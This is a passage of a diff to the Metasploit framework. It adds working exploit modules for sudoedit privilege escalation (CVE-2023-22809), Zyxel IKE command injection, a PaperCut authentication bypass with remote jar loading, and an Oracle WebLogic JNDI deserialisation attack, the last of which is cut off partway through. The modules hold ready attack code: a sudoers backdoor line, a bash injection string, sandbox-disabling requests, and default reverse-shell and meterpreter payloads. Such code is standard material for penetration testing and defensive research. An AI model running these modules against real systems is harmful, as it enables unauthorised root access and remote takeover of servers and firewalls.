22.10. + + This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and + 1.9.11p3-1ubuntu1 on Ubuntu 22.10. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die', # msf module + 'Matthieu Barjole', # original PoC, analysis + 'Victor Cutillas' # original PoC, analysis + ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Auto', {} ]], + 'Privileged' => true, + 'References' => [ + [ 'EDB', '51217' ], + [ 'URL', 'https://github.com/M4fiaB0y/CVE-2023-22809/blob/main/exploit.sh' ], + [ 'URL', 'https://raw.githubusercontent.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc/main/exploit.sh' ], + [ 'URL', 'https://www.vicarius.io/vsociety/blog/cve-2023-22809-sudoedit-bypass-analysis' ], + [ 'URL', 'https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466' ], + [ 'URL', 'https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf' ], + [ 'URL', 'https://www.sudo.ws/security/advisories/sudoedit_any/'], + [ 'CVE', '2023-22809' ] + ], + 'DisclosureDate' => '2023-01-18', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + register_advanced_options [ + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptString.new('EDITABLEFILE', [ false, 'A file which can be edited with sudo -e or sudoedit' ]), + OptString.new('SHELL', [ true, 'A shell we can launch our payload from. Bash or SH should be safe', '/bin/sh' ]), + OptInt.new('TIMEOUT', [true, 'The timeout waiting for sudo commands to respond', 10]), + ] + end + + def timeout + datastore['TIMEOUT'] + end + + # Simplify pulling the writable directory variable + def base_dir + datastore['WritableDir'].to_s + end + + def get_editable_file + if datastore['EDITABLEFILE'].present? + fail_with(Failure::BadConfig, 'EDITABLEFILE must be a file.') unless file?(datastore['EDITABLEFILE']) + + vprint_status("Using user defined EDITABLEFILE: #{datastore['EDITABLEFILE']}") + return datastore['EDITABLEFILE'] + end + + # we do a rev here to reverse the order since we only want the last entry (the file name), take item 1, then rev it back so its normal. this seemed to + # be the easiest way to do a cut -f -1 (negative one). https://stackoverflow.com/questions/22727107/how-to-find-the-last-field-using-cut + editable_file = cmd_exec('sudo -l -S | grep -E "sudoedit|sudo -e" | grep -E \'\\(root\\)|\\(ALL\\)|\\(ALL : ALL\\)\' | rev | cut -d " " -f 1 | rev') + editable_file = editable_file.strip + if editable_file.nil? || editable_file.empty? || editable_file.include?('a terminal is required to read the password') || editable_file.include?('password for') + return nil + end + + return nil unless file?(editable_file) + + editable_file + end + + def get_sudo_version_from_sudo + package = cmd_exec('sudo --version') + package = package.split(' ')[2] # Sudo version XXX + begin + Rex::Version.new(package) + rescue ArgumentError + # this happens on systems like debian 8.7.1 which doesn't have sudo + Rex::Version.new(0) + end + end + + def check + sys_info = get_sysinfo + + # Check the app is installed and the version + if sys_info[:distro] == 'ubuntu' || sys_info[:distro] == 'debian' + package = cmd_exec('dpkg -l sudo | grep \'^ii\'') + package = package.split(' ')[2] # ii, package name, version, arch + begin + ver_no = Rex::Version.new(package) + rescue ArgumentError + ver_no = get_sudo_version_from_sudo + end + else + ver_no = get_sudo_version_from_sudo + end + + # according to CVE listing, but so much backporting... + minimal_version = '1.8.0' + maximum_version = '1.9.12p1' + exploitable = false + + # backporting... so annoying. + # https://ubuntu.com/security/CVE-2023-22809 + if sys_info[:distro] == 'ubuntu' + if sys_info[:version].include? '22.10' # kinetic + exploitable = true + maximum_version = '1.9.11p3-1ubuntu1.1' + elsif sys_info[:version].include? '22.04' # jammy + exploitable = true + maximum_version = '1.9.9-1ubuntu2.2' + elsif sys_info[:version].include? '20.04' # focal + maximum_version = '1.8.31-1ubuntu1.4' + elsif sys_info[:version].include? '18.04' # bionic + maximum_version = '1.8.21p2-3ubuntu1.5' + elsif sys_info[:version].include? '16.04' # xenial + maximum_version = '1.8.16-0ubuntu1.10+esm1' + elsif sys_info[:version].include? '14.04' # trusty + maximum_version = '1.8.9p5-1ubuntu1.5+esm7' + end + end + + if ver_no == Rex::Version.new(0) + return Exploit::CheckCode::Unknown('Unable to detect sudo version') + end + + if ver_no < Rex::Version.new(maximum_version) && ver_no >= Rex::Version.new(minimal_version) + vprint_good("sudo version #{ver_no} is vulnerable") + # check if theres an entry in /etc/sudoers that allows us to edit a file + editable_file = get_editable_file + if editable_file.nil? + if exploitable + return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. Please set EDITABLEFILE option manually") + else + return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module") + end + elsif exploitable + return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}") + else + return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}. OS can NOT be exploited by this module") + end + end + + CheckCode::Safe("sudo version #{ver_no} may NOT be vulnerable") + end + + def exploit + # Check if we're already root + if !datastore['ForceExploit'] && is_root? + fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' + end + + if get_editable_file.nil? + fail_with Failure::BadConfig, 'Unable to automatically detect sudo editable file, EDITABLEFILE option is required' + end + + # Make sure we can write our exploit and payload to the local system + unless writable?(base_dir) && directory?(base_dir) + fail_with Failure::BadConfig, "#{base_dir} is not writable" + end + + sys_info = get_sysinfo + + # Check the app is installed and the version + fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:distro] == 'ubuntu' + fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:version].include?('22.04') || sys_info[:version].include?('22.10') + + # Upload payload executable + payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" + upload_and_chmodx payload_path, generate_payload_exe + register_file_for_cleanup(payload_path) + + @flag = Rex::Text.rand_text_alphanumeric(12) + print_status 'Adding user to sudoers' + # we tack on a flag so we can easily grep for this line and clean it up later + command = "EDITOR=\"sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: #{datastore['SHELL']} \# #{@flag}' -- /etc/sudoers\" sudo -S -e #{get_editable_file}" + vprint_status("Executing command: #{command}") + + output = cmd_exec command, nil, timeout + if output.include? '/etc/sudoers unchanged' + fail_with(Failure::NoTarget, 'Failed to edit sudoers, command was unsuccessful') + end + + if output.include? 'sudo: ignoring editor' + fail_with(Failure::NotVulnerable, 'sudo is patched') + end + + output.each_line { |line| vprint_status line.chomp } + print_status('Spawning payload') + + # -S may not be needed here, but if exploitation didn't go well, we dont want to bork our shell + # also, attempting to thread off of sudo was problematic, solution was + # https://askubuntu.com/questions/1110865/how-can-i-run-detached-command-with-sudo-over-ssh + # other refs that didn't work: https://askubuntu.com/questions/634620/when-using-and-sudo-on-the-first-command-is-the-second-command-run-as-sudo-t + output = cmd_exec "sudo -S -b sh -c 'nohup #{payload_path} > /dev/null 2>&1 &'", nil, timeout + output.each_line { |line| vprint_status line.chomp } + end + + def on_new_session(session) + if @flag + session.shell_command_token("sed -i '/\# #{@flag}/d' /etc/sudoers") + flag_found = session.shell_command_token("grep '#{@flag}' /etc/sudoers") + if flag_found.include? @flag + print_bad("Manual cleanup is required, please run: sed -i '/\# #{@flag}/d' /etc/sudoers") + end + end + super + end +end diff --git a/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb b/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb new file mode 100644 index 0000000000000..8a06cc5322962 --- /dev/null +++ b/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb @@ -0,0 +1,141 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Udp + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits a remote unauthenticated command injection vulnerability in the Internet Key Exchange + (IKE) packet decoder over UDP port 500 on the WAN interface of several Zyxel devices. The affected devices are + as follows: ATP (Firmware version 4.60 to 5.35 inclusive), USG FLEX (Firmware version 4.60 to 5.35 inclusive), + VPN (Firmware version 4.60 to 5.35 inclusive), and ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive). The + affected devices are vulnerable in a default configuration and command execution is with root privileges. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sf', # MSF Exploit & Rapid7 Analysis + ], + 'References' => [ + ['CVE', '2023-28771'], + ['URL', 'https://attackerkb.com/topics/N3i8dxpFKS/cve-2023-28771/rapid7-analysis'], + ['URL', 'https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls'] + ], + 'DisclosureDate' => '2023-03-31', + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD], + 'Privileged' => true, # Code execution as 'root' + 'DefaultOptions' => { + # We default to a meterpreter payload delivered via a fetch HTTP adapter. + # Another good payload choice is cmd/unix/reverse_bash. + 'PAYLOAD' => 'cmd/linux/http/mips64/meterpreter_reverse_tcp', + 'FETCH_WRITABLE_DIR' => '/tmp', + 'FETCH_COMMAND' => 'CURL' + }, + 'Targets' => [ [ 'Default', {} ] ], + 'DefaultTarget' => 0, + 'Notes' => { + # The process /sbin/sshipsecpm may crash after we terminate a session, but it will restart. + 'Stability' => [CRASH_SERVICE_RESTARTS], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(500) + ] + ) + end + + def check + connect_udp + + # Check for the Internet Key Exchange (IKE) service by sending an IKEv1 header with no payload. We can + # expect to receive an IKE reply containing a Notification payload with a PAYLOAD-MALFORMED message. + + # In a default configuration, there appears no known method to identify the platform vendor or version + # number, so we cannot identify a CheckCode other than CheckCode::Detected or CheckCode::Unknown. + # If a VPN is configured on the target device, we may receive a Vendor ID corresponding to Zyxel, but we + # still would not be able to identify the version number of the target service. + + ikev2_header = Rex::Text.rand_text_alpha_upper(8) # Initiator SPI + ikev2_header << [0, 0, 0, 0, 0, 0, 0, 0].pack('C*') # Responder SPI + ikev2_header << [0].pack('C') # Next Payload: None - 0 + ikev2_header << [16].pack('C') # Version: 1.0 - 16 (0x10) + ikev2_header << [2].pack('C') # Exchange Type: Identity Protection - 2 + ikev2_header << [0].pack('C') # Flags: None - 0 + ikev2_header << [0].pack('N') # ID: 0 + ikev2_header << [ikev2_header.length + 4].pack('N') # Length + + udp_sock.put(ikev2_header) + + ikev2_reply = udp_sock.get(udp_sock.def_read_timeout) + + disconnect_udp + + if !ikev2_reply.empty? && (ikev2_reply.length >= 40) && + # Ensure the response 'Initiator SPI' field is the same as the original one sent. + (ikev2_reply[0, 8] == ikev2_header[0, 8]) && + # Ensure the 'Next Payload' field is Notification (11) + (ikev2_reply[16, 1].unpack('C').first == 11 && + # Ensure the 'Exchange Type' field is Informational (5) + (ikev2_reply[18, 1].unpack('C').first == 5)) && + # Ensure the 'Notify Message Type' field is PAYLOAD-MALFORMED (16) + (ikev2_reply[38, 2].unpack('n').first == 16) + return CheckCode::Detected('IKE detected but device vendor and service version are unknown.') + end + + CheckCode::Unknown + end + + def exploit + execute_command(payload.encoded) + end + + def execute_command(cmd) + connect_udp + + cmd_injection = "\";bash -c \"#{cmd}\";echo -n \"" + + # This value is decoded by the packet decoder using a DES-CBC algorithm. The decoded value is written to the + # log file. As such the decoded value must not have any null terminator values as these will break our command + # payload. Therefore we use the below known good value that will decode to a suitable string, allowing the cmd + # injection payload to work as expected. + haxb48 = 'HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB' + + ikev2_payload = [0].pack('C') # Next Payload: None - 0 + ikev2_payload << [0].pack('C') # Reserved: 0 + ikev2_payload << [8 + (haxb48.length + cmd_injection.length)].pack('n') # Length: 8 byte header + Notification Data + ikev2_payload << [1].pack('C') # Protocol ID: ISAKMP - 1 + ikev2_payload << [0].pack('C') # SPI Size: None - 0 + ikev2_payload << [14].pack('n') # Type: NO_PROPOSAL_CHOSEN - 14 (0x0E) + ikev2_payload << haxb48 + cmd_injection # Notification Data + + ikev2_header = Rex::Text.rand_text_alpha_upper(8) # Initiator SPI + ikev2_header << [0, 0, 0, 0, 0, 0, 0, 0].pack('C*') # Responder SPI + ikev2_header << [41].pack('C') # Next Payload: Notify - 41 (0x29) + ikev2_header << [32].pack('C') # Version: 2.0 - 32 (0x20) + ikev2_header << [34].pack('C') # Exchange Type: IKE_SA_INIT - 34 (0x22) + ikev2_header << [8].pack('C') # Flags: Initiator - 8 + ikev2_header << [0].pack('N') # ID: 0 + ikev2_header << [ikev2_header.length + 4 + ikev2_payload.length].pack('N') # Length + + packet = ikev2_header << ikev2_payload + + udp_sock.put(packet) + + disconnect_udp + end + +end diff --git a/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb b/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb index 0d42f9e76739b..acdb1f2e11e72 100644 --- a/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb +++ b/modules/exploits/multi/http/gitlab_github_import_rce_cve_2022_2992.rb @@ -122,7 +122,7 @@ def check return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.") rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError return CheckCode::Detected('Could not detect the version because authentication failed.') - rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e + rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::ClientError => e return CheckCode::Unknown("#{e.class} - #{e.message}") end diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb new file mode 100644 index 0000000000000..2d6ea0e5e2c34 --- /dev/null +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -0,0 +1,254 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'cgi' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'PaperCut PaperCutNG Authentication Bypass', + 'Description' => %q{ + This module leverages an authentication bypass in PaperCut NG. If necessary it + updates Papercut configuration options, specifically the 'print-and-device.script.enabled' + and 'print.script.sandboxed' options to allow for arbitrary code execution running in + the builtin RhinoJS engine. + + This module logs at most 2 events in the application log of papercut. Each event is tied + to modifcation of server settings. + }, + 'License' => MSF_LICENSE, + 'Author' => ['catatonicprime'], + 'References' => [ + ['CVE', '2023-27350'], + ['ZDI', '23-233'], + ['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'], + ['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'], + ['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], + ['URL', 'https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software'] + ], + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Targets' => [ [ 'Automatic Target', {}] ], + 'Platform' => [ 'java' ], + 'Arch' => ARCH_JAVA, + 'Privileged' => true, + 'DisclosureDate' => '2023-03-13', + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => '9191', + 'SSL' => 'false' + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to the papercut application', '/app']), + OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) + ], self.class + ) + @csrf_token = nil + @config_cleanup = [] + end + + def bypass_auth + # Attempt to generate a session & recover the anti-csrf token for future requests. + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'vars_get' => { + 'service' => 'page/SetupCompleted' + } + } + ) + return nil unless res && res.code == 200 + + vprint_good("Bypass successful and created session: #{cookie_jar.cookies[0]}") + + # Parse the application version from the response for future decisions. + product_details = res.get_html_document.xpath('//div[contains(@class, "product-details")]//span').children[1] + if product_details.nil? + product_details = res.get_html_document.xpath('//span[contains(@class, "version")]') + end + version_match = product_details.text.match('(?[0-9]+)\.(?[0-9]+)') + @version_major = Integer(version_match[:major]) + match = res.get_html_document.xpath('//script[contains(text(),"csrfToken")]').text.match(/var csrfToken ?= ?'(?[^']*)'/) + @csrf_token = match ? match[:csrf] : '' + end + + def get_config_option(name) + # 1) do a quickfind (setting the tapestry state) + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri + }, + 'vars_post' => { + 'service' => 'direct/1/ConfigEditor/quickFindForm', + 'sp' => 'S0', + 'Form0' => '$TextField,doQuickFind,clear', + '$TextField' => name, + 'doQuickFind' => 'Go' + } + } + ) + # 2) parse and return the result + return nil unless res && res.code == 200 && (html = res.get_html_document) + return nil unless (td = html.xpath("//td[@class='propertyNameColumnValue']")) + return nil unless td.count == 1 && td.text == name + + value_input = html.xpath("//input[@name='$TextField$0']") + value_input[0]['value'] + end + + def set_config_option(name, value, rollback) + # set name:value pair(s) + current_value = get_config_option(name) + if current_value == value + vprint_good("Server option '#{name}' already set to '#{value}')") + return + end + + vprint_status("Setting server option '#{name}' to '#{value}') was '#{current_value}'") + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri + }, + 'vars_post' => { + 'service' => 'direct/1/ConfigEditor/$Form', + 'sp' => 'S1', + 'Form1' => '$TextField$0,$Submit,$Submit$0', + '$TextField$0' => value, + '$Submit' => 'Update' + } + } + ) + fail_with Failure::NotVulnerable, "Could not update server config option '#{name}' to value of '#{value}'" unless res && res.code == 200 + # skip storing the cleanup change if this is rolling back a previous change + @config_cleanup.push([name, current_value]) unless rollback + end + + def cleanup + super + if @config_cleanup.nil? + return + end + + until @config_cleanup.empty? + cfg = @config_cleanup.pop + vprint_status("Rolling back '#{cfg[0]}' to '#{cfg[1]}'") + set_config_option(cfg[0], cfg[1], true) + end + end + + def primer + payload_uri = get_uri + script = <<~SCRIPT + var urls = [new java.net.URL("#{payload_uri}.jar")]; + var cl = new java.net.URLClassLoader(urls).loadClass('metasploit.Payload').newInstance().main([]); + s; + SCRIPT + + # The number of parameters passed changed in version 17. + form0 = 'printerId,enablePrintScript,scriptBody,$Submit,$Submit$0' + if @version_major > 16 + form0 += ',$Submit$1' + end + # 6) Trigger the code execution the printer_id + res = send_request_cgi( + { + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri + }, + 'vars_post' => { + 'service' => 'direct/1/PrinterDetails/$PrinterDetailsScript.$Form', + 'sp' => 'S0', + 'Form0' => form0, + 'enablePrintScript' => 'on', + '$Submit$1' => 'Apply', + 'printerId' => 'l1001', + 'scriptBody' => script + } + } + ) + fail_with Failure::NotVulnerable, 'Failed to prime payload.' unless res && res.code == 200 + end + + def check + # For the check command + bypass_success = bypass_auth + if bypass_success.nil? + return Exploit::CheckCode::Safe + end + + return Exploit::CheckCode::Vulnerable + end + + def exploit + # Main function + # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. + bypass_auth unless @csrf_token + if @csrf_token.nil? + fail_with Failure::NotVulnerable, 'Target is not vulnerable' + end + + # Sandboxing wasn't introduced until version 19 + if @version_major >= 19 + # 2) Enable scripts, if needed + set_config_option('print-and-device.script.enabled', 'Y', false) + + # 3) Disable sandboxing, if needed + set_config_option('print.script.sandboxed', 'N', false) + end + # 5) Select the printer, this loads it into the tapestry session to be modified + res = send_request_cgi( + { + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'keep_cookies' => true, + 'headers' => { + 'Origin' => full_uri + }, + 'vars_get' => { + 'service' => 'direct/1/PrinterList/selectPrinter', + 'sp' => 'l1001' + } + } + ) + fail_with Failure::NotVulnerable, 'Unable to select [Template Printer]' unless res && res.code == 200 + + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + # When the server stop due to our timeout, this is raised + end + + def on_request_uri(cli, request) + vprint_status("Sending payload for requested uri: #{request.uri}") + send_response(cli, payload.raw) + end + +end diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb new file mode 100644 index 0000000000000..a3307eca39763 --- /dev/null +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -0,0 +1,694 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::Tcp + include Exploit::Remote::JndiInjection + prepend Msf::Exploit::Remote::AutoCheck + + # Page 19 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf explains these codes. + GIOP_REQUEST = 0 + GIOP_REPLY = 1 + GIOP_CANCEL_REQUEST = 2 + GIOP_LOCATE_REQUEST = 3 + GIOP_LOCATE_REPLY = 4 + GIOP_CLOSE_CONNECTION = 5 + GIOP_MESSAGE_ERROR = 6 + GIOP_FRAGMENT = 7 + + # Taken from page 561 of https://www.omg.org/spec/CORBA/3.0.3/PDF + SYNCSCOPE_NONE = 0 + SYNCSCOPE_WITH_TRANSPORT = 0 + SYNCSCOPE_WITH_SERVER = 1 + SYNCSCOPE_WITH_TARGET = 3 + + # Taken from page 588 of https://www.omg.org/spec/CORBA/3.0.3/PDF + ADDR_DISPOSITION_KEYADDR = 0 + ADDR_DISPOSITION_PROFILE_ADDR = 1 + ADDR_DISPOSITION_REFERENCE_ADDR = 2 + + # GIOP Protocol RequestReply Header Codes + # Type is ReplyStatusType -> Taken from page 24 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf + NO_EXCEPTION = 0 + USER_EXCEPTION = 1 + SYSTEM_EXCEPTION = 2 + LOCATION_FORWARD = 3 + + # GIOP Protocol LocateReply Header Codes + # Taken from page 28 of https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf + UNKNOWN_OBJECT = 0 + OBJECT_HERE = 1 + OBJECT_FORWARD = 2 + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Oracle Weblogic PreAuth Remote Command Execution via ForeignOpaqueReference IIOP Deserialization', + 'License' => MSF_LICENSE, + 'Author' => [ + '4ra1n', # From X-Ray Security Team of Chaitin Tech. The researcher who originally found this vulnerability and wrote the PoC. + '14m3ta7k', # Of gobysec team. Wrote the writeup and analysis of this vulnerability. + 'Grant Willcox' # @tekwizz123 This Metasploit module + ], + 'Description' => %q{ + Oracle Weblogic 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 prior to the Jan 2023 security update are vulnerable to an unauthenticated + remote code execution vulnerability due to a post deserialization vulnerability. This occurs when an attacker serializes + a "ForeignOpaqueReference" class object, deserializes it on the target, and then post deserialization, calls the + object's "getReferent()" method, which will make use of the "ForeignOpaqueReference" class's "remoteJNDIName" variable, + which is under the attackers control, to do a remote loading of the JNDI address specified by "remoteJNDIName" via + the "lookup()" function. + + This can in turn lead to a deserialization vulnerability whereby an attacker supplies the address of a HTTP server hosting + a malicious Java class file, which will then be loaded into the Oracle Weblogic process's memory and an attempt to + create a new instance of the attacker's class will be made. Attackers can utilize this to execute arbitrary Java + code during the instantiation of the object, thereby getting remote code execution as the "oracle" user. + + This module exploits this vulnerability to trigger the JNDI connection to a LDAP server we control. The LDAP server will + then respond with a remote reference response that points to a HTTP server that we control, where the malicious Java + class file will be hosted. Oracle Weblogic will then make a HTTP request to retrieve the malicious Java class file, + at which point our HTTP server will serve up the malicious class file and Oracle Weblogic will instantiate + an instance of that class, granting us RCE as the "oracle" user. + + This vulnerability was exploited in the wild as noted by KEV on May 1st 2023: https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability + }, + 'References' => [ + ['CVE', '2023-21839'], + ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory + ['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup + ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP + ['URL', 'https://github.com/4ra1n/CVE-2023-21839'], # PoC + ['URL', 'https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability'] # EITW alert. + ], + 'Privileged' => false, + 'Targets' => [ + [ + 'Linux', { + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-01-17', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + register_options( + [ + Opt::RPORT(7001), + OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080]) + ] + ) + end + + def get_weblogic_version + socket = connect + http_request = Rex::Proto::Http::ClientRequest.new( + { + 'uri' => '/console/login/LoginForm.jsp', + 'vhost' => datastore['RHOST'], + 'port' => datastore['RPORT'] + } + ).to_s + socket.put(http_request.to_s) + res = socket.get + fail_with(Failure::UnexpectedReply, 'Could not get the Weblogic login page') unless res + + # Disconnect as we will want a new socket for future connections. + disconnect + + # Do the regex on the result to find the version. + version = res.match(/WebLogic Server Version: ((?:\d{1,3}\.){4}\d{1,3})/) + fail_with(Failure::UnexpectedReply, 'Could not get the version information from the Weblogic login page') if version.nil? + version = version[1] + + Rex::Version.new(version) + end + + def giop_header(msg_type) + header = '' + header << 'GIOP' # Magic + header << "\x01\x02" # Version, in this case 1.2 of the GIOP protocol. + header << "\x00" # Message flags + case msg_type + when GIOP_REQUEST, GIOP_CANCEL_REQUEST, GIOP_LOCATE_REQUEST, GIOP_MESSAGE_ERROR, GIOP_FRAGMENT + header << [msg_type].pack('C') + else + fail_with(Failure::BadConfig, 'Attempt was made to send a packet with an invalid GIOP header!') + end + header << 'LENGTH_REPLACE_ME' + end + + # LocateRequest packets are used to determine whether an object reference is valid, + # whether the current server is capable of directly receiving request for the object reference, + # and if not, to what address the request for the object should be sent. + # + # Taken from https://docs.oracle.com/cd/E13211_01/wle/wle42/corba/giop.pdf page 27 + def giop_locate_request_packet(keyaddress = 'NameService') + header = giop_header(GIOP_LOCATE_REQUEST) # GIOP Header with LocateRequest attribute + data = '' + packet = '' + + @request_id = 1 if @request_id.nil? + @request_id += 1 + data << [@request_id].pack('N') # Request ID + data << [0].pack('n') # TargetAddress, 2 byte field + data << [0].pack('n') # Padding, 2 bytes + data << [keyaddress.length].pack('N') # Key Address Length + data << keyaddress + + packet << header + packet << data + packet.gsub!('LENGTH_REPLACE_ME', [data.length].pack('N')) + + packet + end + + def create_service_context(vscid, scid, context_data, endian = 0) + context = '' + seq_length = context_data.length + 1 # Add 1 to account for the endian byte being part of the sequence length. + context << vscid # 3 byte long VSCID + context << [scid].pack('C') # 1 byte long SCID + context << [seq_length].pack('N') # 4 byte long sequence length + context << [endian].pack('C') # 1 byte indicator of endianness. 0 is big endian, 1 is little endian. + context << context_data + + context + end + + def giop_rebind_any_packet(sync_scope, addr_disposition, key_address, stub_data, context_list_length) + header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute + data = '' + packet = '' + + @request_id = 1 if @request_id.nil? + @request_id += 1 + data << [@request_id].pack('N') # Request ID + data << [sync_scope].pack('C') # Response flags + data << "\x00\x00\x00" # Reserved + data << [addr_disposition].pack('n') # TargetAddress, 2 bytes + data << [0].pack('n') # Two bytes of padding. + data << [key_address.length].pack('N') # Key Address Length + data << key_address + data << [11].pack('N') # Operation Length + 1 for a NULL byte to terminate the operation name? + data << "rebind_any\x00" # Request Operation + + service_context_list = '' + service_context_list << "\x00" # Seems we have one byte of padding? Lets account for this. + service_context_list << [context_list_length].pack('N') # Sequence Length + service_context_list << '{SERVICE_CONTEXT_LIST}' + + @java_class_name = 'PayloadRuns' + ldap_uri = jndi_string(@java_class_name) + stub_data += [ldap_uri.length].pack('C') + ldap_uri + + data << service_context_list + data << stub_data + + packet << header + packet << data + + packet + end + + def goip_resolve_request_packet(sync_scope, addr_disposition, key_address, context_list_length, cos_naming_disector, seq_len) + header = giop_header(GIOP_REQUEST) # GIOP Header with REQUEST attribute + data = '' + packet = '' + + @request_id = 1 if @request_id.nil? + @request_id += 1 + data << [@request_id].pack('N') # Request ID + data << [sync_scope].pack('C') # Response flags + data << "\x00\x00\x00" # Reserved + data << [addr_disposition].pack('n') # TargetAddress, 2 bytes + data << [0].pack('n') # Two bytes of padding. + data << [key_address.length].pack('N') # Key Address Length + data << key_address + data << 